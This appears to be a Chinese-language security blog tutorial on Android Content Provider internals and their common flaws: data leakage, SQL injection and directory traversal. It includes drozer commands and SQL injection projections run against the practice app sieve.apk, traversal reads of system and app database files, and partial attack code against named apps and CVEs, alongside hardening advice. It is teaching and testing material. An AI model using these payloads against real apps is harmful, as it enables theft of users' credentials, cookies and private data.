一、前言
今天总结Android APP四大组件中Content Provider挖掘的知识,主要分为两个部分,一部分是对Android Content Provider内容提供器的原理总结,另一部分便是对Android provider机制常见的一些漏洞总结,包括一些已知的漏洞方法,和一部分案例实践。
二、Content Provider初步介绍
1.Content Provider的基本原理
(1)Content Provider简介
1 |
Android中的数据存储方式:Shared Preferences、网络存储、文件存储、外部存储、SQLite,这些存储方式一般在单独的应用程序中实现数据共享,对于不同应用之间共享数据,就要借助Content Provider。 |
(2)Content Provider作用
Content Provider可以使得不同APP进程之间进行数据交互和共享,即跨进程通信
(3)URI详解
我们创建一个Content Provider,其他的应用可以通过使用ContentResolver来访问ContentProvider提供的数据,而ContentResolver通过uri来定位自己要访问的数据,所以我们要先了解URI
URI:
URI的介绍:
1 |
(1)定义:Uniform Resource Identifier,即统一资源标识符 |
1 |
(1)标准前缀:content:// ,用来说明一个Content Provider控制这些数据 |
构建URI的路径:
1 |
(1)操作User表中id为11的记录,构建数据:/User/11 |
URI各部分的获取:
我们给出一个URI的样例:
1 |
http://www.baidu.com:8080/wenku/jiatiao.html?id=123456&name=jack |
我们介意使用一些方法来获取URI的各个部分:
1 |
getScheme():获取 Uri 中的 scheme 字符串部分,在这里是 http |
MIME:
MIME是指定某个扩展名的文件用一种应用程序打开,就像用浏览器查看PDF格式的文件,浏览器会选择合适的应用打开。ContentProvider 会根据 URI 来返回 MIME 类型,ContentProvider 会返回一个包含两部分的字符串。MIME 类型一般包含两部分,如:
1 |
text/html |
分为类型和子类型,Android 遵循类似的约定来定义MIME类型,每个内容类型的 Android MIME 类型有两种形式:多条记录(集合)和单条记录。
- 集合记录(dir):
1 |
vnd.android.cursor.dir/自定义 |
- 单条记录(item):
1 |
vnd.android.cursor.item/自定义 |
vnd 表示这些类型和子类型具有非标准的、供应商特定的形式。Android中类型已经固定好了,不能更改,只能区别是集合还是单条具体记录,子类型可以按照格式自己填写,在使用 Intent 时,会用到 MIME,根据 Mimetype 打开符合条件的活动。
URI解析:
这里URI代表要操作的数据,我们在对数据进行获取时需要解析URI,Android提供了两个操作URI的工具类:UriMatcher 和 ContentUris
UriMatcher:
UriMatcher类用于匹配Uri,使用步骤如下:
- 将需要匹配的Uri路径进行注册:
1 |
//常量UriMatcher.NO_MATCH表示不匹配任何路径的返回码 |
此处采用 addURI 注册了两个需要用到的 URI;注意,添加第二个 URI 时,路径后面的 id 采用了通配符形式 “#”,表示只要前面三个部分都匹配上了就 OK
补充:
1 |
*:表示匹配任意长度的任意字符 |
- 注册完需要匹配的 Uri 后,可以使用 sMatcher.match(Uri) 方法对输入的 Uri 进行匹配,如果匹配就返回对应的匹配码,匹配码为调用 addURI() 方法时传入的第三个参数
1 |
switch (sMatcher.match(Uri.parse("content://com.zhang.provider.yourprovider/tablename/100"))) { |
ContentUris:
ContentUris类用于操作Uri路径后面的ID部分,有两个比较实用的方法:withAppendedId(Uri uri, long id)和parseId(Uri uri)
- withAppendedId(Uri uri, long id)用于为路径加上ID部分:
1 |
Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename"); |
- parseId(Uri uri)则从路径中获取ID部分:
1 |
Uri uri = Uri.parse("content://com.zhang.provider.myprovider/tablename/10") |
(4)Content Provider数据共享
ContentProvider是一个抽象类,我们需要开发自己的内容提供者就需要继承这个类并复写其方法:
1 |
ContentProvider 类主要方法的介绍: |
如果操作的数据属于集合类型,那么 MIME 类型字符串应该以 vnd.android.cursor.dir/ 开头:
1 |
要得到所有 tablename 记录: Uri 为 content://com.wang.provider.myprovider/tablename,那么返回的MIME类型字符串应该为vnd.android.cursor.dir/table |
如果要操作的数据属于非集合类型数据,那么 MIME 类型字符串应该以 vnd.android.cursor.item/ 开头:
1 |
要得到 id 为 10 的 tablename 记录,Uri 为 content://com.wang.provider.myprovider/tablename/10,那么返回的 MIME 类型字符串为:vnd.android.cursor.item/tablename |
(5)Content Resolver操作数据
当外部应用需要对ContentProvider中的数据进行添加、删除、修改及查询操作时,可以使用ContentResolver类来完成,要获取ContentResolver对象,可以使用Activity提供getContentResolver()
ContentResolver类提供了与ContentProvider类相同签名的四个方法:
1 |
public Uri insert(Uri uri, ContentValues values),往ContentProvider添加数据; |
这些方法的第一个参数为Uri,代表要操作的ContentProvider和对其中的什么数据进行操作,其实和ContentProvider里面的方法是一样的,最终会被传到我们之前程序里面定义的ContentProvider方法。
1 |
假定给定的是:Uri.parse("content://com.wang.provider.myprovider/tablename/10"), |
使用ContentResolver对ContentProvider中的数据进行操作:
1 |
ContentResolver resolver = getContentResolver(); |
监听数据变化:
如果ContentProvider的访问者需要知道数据发生的变化,可以在ContentProvider发生数据变化时调用getContentResolver().notifyChange(uri, null)来通知注册在此URI上的访问者。只给出类中监听部分的代码:
1 |
public class MyProvider extends ContentProvider { |
而访问者必须使用ContentObserver对数据(数据采用uri描述)进行监听,当监听到数据变化通知时,系统就会调用ContentObserver的onChange()方法:
1 |
getContentResolver().registerContentObserver(Uri.parse("content://com.ljq.providers.personprovider/person"), |
(6)Content Provider使用
创建内容提供者的基本流程:
1 |
(1)创建一个扩展ContentProviderbaseclass的 Content Provider 类 |
2.Content Provider漏洞的种类和危害
Content Provoder漏洞大致可以分为:
Content Provider漏洞的危害:
1 |
Android中Content Provider起到在不同的进程APP之间实现共享数据的作用,通过Binder进程间通信机制以及匿名共享内存机制来实现,但是考虑到数据的安全性,我们需要设置一定的保护权限。 |
三、Content Provider漏洞原理分析和复现
1.漏洞挖掘方法
先检测组件的exported属性,再检测组件permission、readPermission、writePermissio对应的protectionlevel,最后再检测sdk版本
(1)查找导出Provider
1 |
(1)反编译 apk 文件,在AndroidManifest.xml中查找显示设置了android:exported="true"Content Provider |
(2)查找URI
- 反编译apk文件,在代码中查找UriMatcher.addURI,并手动拼接uri
如上,可以拼接出:
1 |
content://ddns.vuls.AccountProvider/account |
- 使用drozer工具
1 |
执行命令 run app.provider.finduri ddns.android.vuls |
(3)方法使用
1 |
1.使用adb shell查询 |
我们下面将结合这三种方法来对一些常见的案例进行漏洞挖掘介绍
2.信息泄露漏洞
(1)原理介绍
1 |
content URI是一个标志provider中的数据的URI。Content URI中包含了整个provider的以符号表示的名字(它的authority)和指向一个表的名字(一个路径)。当你调用一个客户端的方法来操作一个,provider中的一个表,指向表的contentURI是参数之一,如果对ContentProvider的权限没有做好控制,就有可能导致恶意的程序通过这种方式读取APP的敏感数据。 |
(2)漏洞复现
案例1:盛大有你Android存在信息泄露漏洞
目标代码:
1 |
<provider android:name=".providers.YouNiProvider" android:process="com.snda.youni.mms" android:authorities="com.snda.youni.providers.DataStructs"/> |
攻击代码:
1 |
private void getyouni(){ |
代码分析:
我们可以分析目标程序的provider的进程名和授权的的URI,我们可以根据授权的URI来构建一个URI,然后通过contentresolver去读取里面的的列表名信息,这样我们就可以获取APP中的隐私数据信息。
案例2:样例sieve.apk
我们先向apk中添加一条数据,然后保存:
我们先使用drozer对内容提供器的路径进行扫描:
1 |
run scanner.provider.finduris -a <包名> |
报错:drozer could not find or compile a required extension library
这是由于我们drozer2.7中代码导致的,我们需要修改相应的代码,参考网址(https://github.com/FSecureLABS/drozer/issues/361 )
我们可以对敏感数据读取:
1 |
run app.provider.query uri |
我们就成功的将我们刚才保存的账号密码信息给获取了
案例3:CVE-2018-9546: Download Provider文件头信息泄露
漏洞描述:
1 |
Download Provider运行app获取下载的http请求头,但理论上APP只能访问自己下载的文件的http请求头,但Download Provider没有做好权限配置,导致heads可以被任意读取。header中会保存一些敏感数据,例如cookie等。 |
目标代码:
1 |
读取header的URI为:content://download/mydownloads/download_id/headers |
攻击代码:
1 |
Uri uri = Uri.parse("content://download/mydownloads/1493/headers"); |
由于header的URI并未做一些防护措施,我们可以将download_id取具体的值,然后来获取里面的具体信息
(3)安全防护
1 |
1.minSdkVersion不低于9 |
3.SQL注入漏洞
(1)原理介绍
1 |
对Content Provider进行增删改查操作时,程序没有对用户的输入进行过滤,未采用参数化查询的方式,可能会导致sql注入攻击。 |
(2)漏洞复现
案例1:安全管家客户端存在SQL注入攻击
漏洞说明:
1 |
Android版安全管家客户端contentprovider uri配置不当,导致sql注入,使得任何应用可不需要root权限下,获得和修改数据库中数据。 |
Androidmanifest文件中定义的provider:
使用drozer扫描客户端程序存在的contentProvider uri:
搜索到对外暴露可访问的uri:
newapp.db结构:
查看新安装应用的包名:
查看白名单:
案例2:样本sieve
我们使用drozer扫描注入的位置:
1 |
run scanner.provider.injection -a <包名> |
然后我们执行以下命令,发现返回了报错信息,接着构造sql获取敏感数据
1 |
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" |
列出所有表信息:
1 |
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" |
获取具体表信息
1 |
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" |
列出该app的表信息
1 |
run scanner.provider.sqltables -a com.mwr.example.sieve |
案例3:CVE-2018-9493: Download Provider SQL注入
漏洞分析:
1 |
Download Provider中的以下columns是不允许被外部访问的,例如CookieData,但是利用SQL注入漏洞可以绕过这个限制。 |
目标代码:
攻击代码:
详细可以参考该作者博客:(https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
(3)安全防护
1 |
1.实现健壮的服务端校验 |
4.目录遍历漏洞
(1)原理介绍
1 |
Android Content Provider存在文件目录遍历安全漏洞,该漏洞源于对外暴露Content Provider组件的应用,没有对Content Provider组件的访问进行权限控制和对访问的目标文件的Content Query Uri进行有效判断,攻击者利用该应用暴露的Content Provider的openFile()接口进行文件目录遍历以达到访问任意可读文件的目的 |
漏洞触发的前提条件:
1 |
对外暴露的Content Provider组件实现了openFile()接口 |
(2)漏洞复现
案例1:赶集网Android客户端Content Provider组件任意文件读取漏洞
漏洞分析:
1 |
赶集网客户端APP的实现中定义了一个可以访问本地文件的Content Provider组件,默认的android:exported="true",对应com.ganji.android.jobs.html5.LocalFileContentProvider,该Provider实现了openFile()接口,通过此接口可以访问内部存储app_webview目录下的数据,由于后台未能对目标文件地址进行有效判断,可以通过"../"实现目录跨越,实现对任意私有数据的访问(当然,也可以访问任意外部存储数据,只是我们更关心私有敏感数据)。 |
攻击代码:
1 |
public void GJContentProviderFileOperations(){ |
案例2:样本sieve
我们检测文件遍历漏洞:
1 |
run scanner.provider.traversal -a <包名> |
我们读取系统文件:
1 |
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts |
我们下载系统文件:
1 |
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db |
案例3:
目标代码:
1 |
private static String IMAGE_DIRECTORY=localFile.getAbsolutePath(); |
我们可以从目标代码中分析,这段代码使用android.net.Uri.getLastPathSegment()从paramUri中获取文件名,然后将其放置在预定义好的目录IMAGE_DIRECTORY中,如果该URL是encoded编码后的,那么将可能导致目录遍历漏洞
Android4.3开始,Uri.getLastPathSegment()内部实现调用Uri.getPathSegments()
1 |
Uri.getPathSegments()部分代码片段: |
Uri.getPathSegments首先会通过getEncoded()获取一个路径,然后以”/“为分隔符将path分成片段,最后调用decode()方法解码
假如我们传递encoded编码后的url给getLastPathSegment(),编码后的分隔符就变成了%2F,绕过了内部的分割规则,那么返回的就可能不是真正想要的文件了。这是API设计方面的问题,直接导致了目录遍历漏洞
1 |
public String getLastPathSegment(){ |
为了避免这种情况导致的目录遍历漏洞,开发者应该在传递给getLastPathSegment()之前解码,采用调用两次getLastPathSegment()方法的方式,第一次调用是为了解码,第二次调用期望得到正确的值这一部分大家可以详细参考博客:(https://tea9.xyz/post/758430476.html)
1 |
private static String IMAGE_DIRECTORY=localFile.getAbsolutePath(); |
(3)安全防护
1 |
1. 将不必要导出的Content Provider设置为不导出 |
四、实验总结
本文对Content Provider内容提供器的基本原理做了一个详细讲解,然后对Provider常见的一些漏洞情况作了分析,这里面一部分漏洞来自于漏洞平台,一部分来自于网上的博客收集总结,还提供了一个样例sieve.apk,初步的实现信息泄露、SQL注入、目录遍历漏洞的基本操作方式,也介绍了一般挖掘provider漏洞的基本方法,其中关于drozer的具体操作使用,大家可以参考之前的博客:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF,当然可能对于Provider中的漏洞介绍还不是很全面,其他的就请各位大佬指正了。
五、参考文献
Content Provider原理介绍
1 |
https://www.cnblogs.com/tgyf/p/4696288.html |
Content Provider漏洞挖掘
1 |
https://tea9.xyz/post/758430476.html |
- source:security-kitchen.com
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论